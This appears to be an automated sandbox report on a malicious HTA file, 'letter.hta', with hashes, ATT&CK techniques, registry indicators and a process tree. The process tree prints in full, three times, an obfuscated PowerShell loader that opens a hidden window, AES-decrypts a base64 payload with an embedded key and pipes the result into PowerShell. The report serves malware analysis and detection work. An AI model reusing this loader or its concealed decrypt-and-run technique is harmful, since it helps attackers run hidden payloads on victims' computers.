3f04d3267f818beec7a5f29a7780282bdf862a71669230b796b77700a494b55d

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21-01-2025 13:39

250121-qx27kswrck 10

21-01-2025 11:57

250121-n4kvrsskfv 10

21-01-2025 11:43

250121-nvpglaslfq 10

21-01-2025 11:26

250121-njtbea1qcp 10

Analysis

max time kernel
118s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
21-01-2025 11:26

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General

Target

163.5.169.28/letter.hta
Size

1.1MB
MD5

7b2d71fbdd38daada881a1d5ba51bd79
SHA1

4474d227759d362ae773e014aa7ff22541b69755
SHA256

b41307cd7ec0456833713dc7075ada7d8884ca133c775c9ba8cbd464dc0c8f25
SHA512

695d0ff4f9ce2cff8715e4cab13d713969bfc8e8adf563dda785c70be0ada0f7a5ff954eee238386ece74ad6eaf6110be7dc7e5aadaa4fc1bcc49e7bf061fa33
SSDEEP

1536:If45HlQf84PEGMdETRrGXQmr/l1vcmafSIm+lIWFawmozsSQ8sBoCQnX2GgeGZ/F:IfQHlQNPfMdETJMMu

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1228	powershell.exe
2644	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1228	powershell.exe
1228	powershell.exe
1228	powershell.exe
2644	powershell.exe
2684	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1228	powershell.exe
Token: SeDebugPrivilege	2644	powershell.exe
Token: SeDebugPrivilege	2684	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2000 wrote to memory of 1228	2000	mshta.exe	31
PID 2000 wrote to memory of 1228	2000	mshta.exe	31
PID 2000 wrote to memory of 1228	2000	mshta.exe	31
PID 2000 wrote to memory of 1228	2000	mshta.exe	31
PID 1228 wrote to memory of 2812	1228	powershell.exe	33
PID 1228 wrote to memory of 2812	1228	powershell.exe	33
PID 1228 wrote to memory of 2812	1228	powershell.exe	33
PID 1228 wrote to memory of 2812	1228	powershell.exe	33
PID 2812 wrote to memory of 2644	2812	cmd.exe	35
PID 2812 wrote to memory of 2644	2812	cmd.exe	35
PID 2812 wrote to memory of 2644	2812	cmd.exe	35
PID 2812 wrote to memory of 2644	2812	cmd.exe	35
PID 2812 wrote to memory of 2684	2812	cmd.exe	36
PID 2812 wrote to memory of 2684	2812	cmd.exe	36
PID 2812 wrote to memory of 2684	2812	cmd.exe	36
PID 2812 wrote to memory of 2684	2812	cmd.exe	36

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\163.5.169.28\letter.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2000
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $opQSXHwV = 'AAAAAAAAAAAAAAAAAAAAAIpCob5HaHMs2MfRknS4PwWw0WcGD8i3ByISqXLqEu9JkDItpb2E8oTImwgRB5gOBoVI8ELi6Kd4iYzONsCtHD9hwy6hJP8DCBkcNkkPBJyVgEeHz3Hf5Q3FgTWRcFoZD7WQoX6ezRoefbPoDnhnQ/kxHSTIeCJoLgLMasAfU6rHjwxdVTvpZ96IAHM66gQvImupLtoFwmdeek441GbNnJXi+IVqZPw34kV3v50q7hyu6x9TFWxdwBL+6VgcjsYldRquKzcnSOOJ7RWLK6G9aOTnYLb7Mm/KO5YKLxJN7/qnXBckEuyhwIZQsITsBbiDMpi4Dhl6jXMYHVoD3BA+CyQPZsni2r/CutU+2T6qW3kkoW3fYjrXpAkHl3Wfs5X6fAHVwEBRiuYq4d7GFsaDRRCRvcobLmElWMXx4B6ZqcaQqx1UCX4X2b8b/VRG5dcBcKzciP+dwr24Us/1tA1kNrS0P8fdsFDjf0ykuxMNeKEWUaqvR8gsRM3P/pLZJtrkB0MN/SRuHpIl9DAcnOjRdeCVLCFwFf02JaRlh54PXYXvu5Hc4dApYtAY5E7GYPxei2dAulisdlBHULUT3B9uBomajMNl98ThWOHR1nsGVbdCQUVGbKy175siBeeb5AzjLokTW7Gp59nSPbaLMOMAEIC9lwBki1i5SdV6CvAaeCc/v2UMhUIwBce9u6l+JVJtrt+9XBhOoOWZc9Q3APa7CoqQxX0mWveW/CzV9QB0m4i/497qJiMfypY4J5rM4hlASDvd88Dk850tIycan6uDAdY5rWRLoWYApuHJ7XDtJBatDbX41CWgUnIKJP8jjQ4Tvg==';$mNJUCx = 'TG1wT09jWnlQdmRTU3lDY0N2UHNNRlJmcHhKYkdMcnY=';$qzJHZIwo = New-Object 'System.Security.Cryptography.AesManaged';$qzJHZIwo.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qzJHZIwo.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qzJHZIwo.BlockSize = 128;$qzJHZIwo.KeySize = 256;$qzJHZIwo.Key = [System.Convert]::FromBase64String($mNJUCx);$ABcNo = [System.Convert]::FromBase64String($opQSXHwV);$LXcUVqdQ = $ABcNo[0..15];$qzJHZIwo.IV = $LXcUVqdQ;$GWeReOrOm = $qzJHZIwo.CreateDecryptor();$yxgAgoCBX = $GWeReOrOm.TransformFinalBlock($ABcNo, 16, $ABcNo.Length - 16);$qzJHZIwo.Dispose();$spClFsWG = New-Object System.IO.MemoryStream( , $yxgAgoCBX );$mpkSbIu = New-Object System.IO.MemoryStream;$XMrtDFsAd = New-Object System.IO.Compression.GzipStream $spClFsWG, ([IO.Compression.CompressionMode]::Decompress);$XMrtDFsAd.CopyTo( $mpkSbIu );$XMrtDFsAd.Close();$spClFsWG.Close();[byte[]] $VaKPnfj = $mpkSbIu.ToArray();$ZSyTQY = [System.Text.Encoding]::UTF8.GetString($VaKPnfj);$ZSyTQY | powershell - }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1228
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c powershell.exe $opQSXHwV = 'AAAAAAAAAAAAAAAAAAAAAIpCob5HaHMs2MfRknS4PwWw0WcGD8i3ByISqXLqEu9JkDItpb2E8oTImwgRB5gOBoVI8ELi6Kd4iYzONsCtHD9hwy6hJP8DCBkcNkkPBJyVgEeHz3Hf5Q3FgTWRcFoZD7WQoX6ezRoefbPoDnhnQ/kxHSTIeCJoLgLMasAfU6rHjwxdVTvpZ96IAHM66gQvImupLtoFwmdeek441GbNnJXi+IVqZPw34kV3v50q7hyu6x9TFWxdwBL+6VgcjsYldRquKzcnSOOJ7RWLK6G9aOTnYLb7Mm/KO5YKLxJN7/qnXBckEuyhwIZQsITsBbiDMpi4Dhl6jXMYHVoD3BA+CyQPZsni2r/CutU+2T6qW3kkoW3fYjrXpAkHl3Wfs5X6fAHVwEBRiuYq4d7GFsaDRRCRvcobLmElWMXx4B6ZqcaQqx1UCX4X2b8b/VRG5dcBcKzciP+dwr24Us/1tA1kNrS0P8fdsFDjf0ykuxMNeKEWUaqvR8gsRM3P/pLZJtrkB0MN/SRuHpIl9DAcnOjRdeCVLCFwFf02JaRlh54PXYXvu5Hc4dApYtAY5E7GYPxei2dAulisdlBHULUT3B9uBomajMNl98ThWOHR1nsGVbdCQUVGbKy175siBeeb5AzjLokTW7Gp59nSPbaLMOMAEIC9lwBki1i5SdV6CvAaeCc/v2UMhUIwBce9u6l+JVJtrt+9XBhOoOWZc9Q3APa7CoqQxX0mWveW/CzV9QB0m4i/497qJiMfypY4J5rM4hlASDvd88Dk850tIycan6uDAdY5rWRLoWYApuHJ7XDtJBatDbX41CWgUnIKJP8jjQ4Tvg==';$mNJUCx = 'TG1wT09jWnlQdmRTU3lDY0N2UHNNRlJmcHhKYkdMcnY=';$qzJHZIwo = New-Object 'System.Security.Cryptography.AesManaged';$qzJHZIwo.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qzJHZIwo.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qzJHZIwo.BlockSize = 128;$qzJHZIwo.KeySize = 256;$qzJHZIwo.Key = [System.Convert]::FromBase64String($mNJUCx);$ABcNo = [System.Convert]::FromBase64String($opQSXHwV);$LXcUVqdQ = $ABcNo[0..15];$qzJHZIwo.IV = $LXcUVqdQ;$GWeReOrOm = $qzJHZIwo.CreateDecryptor();$yxgAgoCBX = $GWeReOrOm.TransformFinalBlock($ABcNo, 16, $ABcNo.Length - 16);$qzJHZIwo.Dispose();$spClFsWG = New-Object System.IO.MemoryStream( , $yxgAgoCBX );$mpkSbIu = New-Object System.IO.MemoryStream;$XMrtDFsAd = New-Object System.IO.Compression.GzipStream $spClFsWG, ([IO.Compression.CompressionMode]::Decompress);$XMrtDFsAd.CopyTo( $mpkSbIu );$XMrtDFsAd.Close();$spClFsWG.Close();[byte[]] $VaKPnfj = $mpkSbIu.ToArray();$ZSyTQY = [System.Text.Encoding]::UTF8.GetString($VaKPnfj);$ZSyTQY | powershell -
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2812
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe $opQSXHwV = 'AAAAAAAAAAAAAAAAAAAAAIpCob5HaHMs2MfRknS4PwWw0WcGD8i3ByISqXLqEu9JkDItpb2E8oTImwgRB5gOBoVI8ELi6Kd4iYzONsCtHD9hwy6hJP8DCBkcNkkPBJyVgEeHz3Hf5Q3FgTWRcFoZD7WQoX6ezRoefbPoDnhnQ/kxHSTIeCJoLgLMasAfU6rHjwxdVTvpZ96IAHM66gQvImupLtoFwmdeek441GbNnJXi+IVqZPw34kV3v50q7hyu6x9TFWxdwBL+6VgcjsYldRquKzcnSOOJ7RWLK6G9aOTnYLb7Mm/KO5YKLxJN7/qnXBckEuyhwIZQsITsBbiDMpi4Dhl6jXMYHVoD3BA+CyQPZsni2r/CutU+2T6qW3kkoW3fYjrXpAkHl3Wfs5X6fAHVwEBRiuYq4d7GFsaDRRCRvcobLmElWMXx4B6ZqcaQqx1UCX4X2b8b/VRG5dcBcKzciP+dwr24Us/1tA1kNrS0P8fdsFDjf0ykuxMNeKEWUaqvR8gsRM3P/pLZJtrkB0MN/SRuHpIl9DAcnOjRdeCVLCFwFf02JaRlh54PXYXvu5Hc4dApYtAY5E7GYPxei2dAulisdlBHULUT3B9uBomajMNl98ThWOHR1nsGVbdCQUVGbKy175siBeeb5AzjLokTW7Gp59nSPbaLMOMAEIC9lwBki1i5SdV6CvAaeCc/v2UMhUIwBce9u6l+JVJtrt+9XBhOoOWZc9Q3APa7CoqQxX0mWveW/CzV9QB0m4i/497qJiMfypY4J5rM4hlASDvd88Dk850tIycan6uDAdY5rWRLoWYApuHJ7XDtJBatDbX41CWgUnIKJP8jjQ4Tvg==';$mNJUCx = 'TG1wT09jWnlQdmRTU3lDY0N2UHNNRlJmcHhKYkdMcnY=';$qzJHZIwo = New-Object 'System.Security.Cryptography.AesManaged';$qzJHZIwo.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qzJHZIwo.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qzJHZIwo.BlockSize = 128;$qzJHZIwo.KeySize = 256;$qzJHZIwo.Key = [System.Convert]::FromBase64String($mNJUCx);$ABcNo = [System.Convert]::FromBase64String($opQSXHwV);$LXcUVqdQ = $ABcNo[0..15];$qzJHZIwo.IV = $LXcUVqdQ;$GWeReOrOm = $qzJHZIwo.CreateDecryptor();$yxgAgoCBX = $GWeReOrOm.TransformFinalBlock($ABcNo, 16, $ABcNo.Length - 16);$qzJHZIwo.Dispose();$spClFsWG = New-Object System.IO.MemoryStream( , $yxgAgoCBX );$mpkSbIu = New-Object System.IO.MemoryStream;$XMrtDFsAd = New-Object System.IO.Compression.GzipStream $spClFsWG, ([IO.Compression.CompressionMode]::Decompress);$XMrtDFsAd.CopyTo( $mpkSbIu );$XMrtDFsAd.Close();$spClFsWG.Close();[byte[]] $VaKPnfj = $mpkSbIu.ToArray();$ZSyTQY = [System.Text.Encoding]::UTF8.GetString($VaKPnfj);$ZSyTQY
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2644
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2684

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\X79DJBC6QPSGPX0OXV8N.temp

Filesize
7KB

MD5
f872081e7812f7eb2b64f7e531ae3f4e

SHA1
3e17932902cf4f87cffff61120c50c3c54d414d6

SHA256
3aa275de7842bef87ae52442203f38efd646d107dbbfda0707f9b1443fc9517c

SHA512
b8c62eb724c1ec512fed0b6f8a7e6cbecb7860c12d67e1dad317fc166804908b5658ece75b1abd0c74ebc7627deeba80c94b5cddd516b04bfb796381bd2031c0

Download Submit
memory/1228-2-0x00000000029A0000-0x00000000029E0000-memory.dmp

Filesize
256KB

Download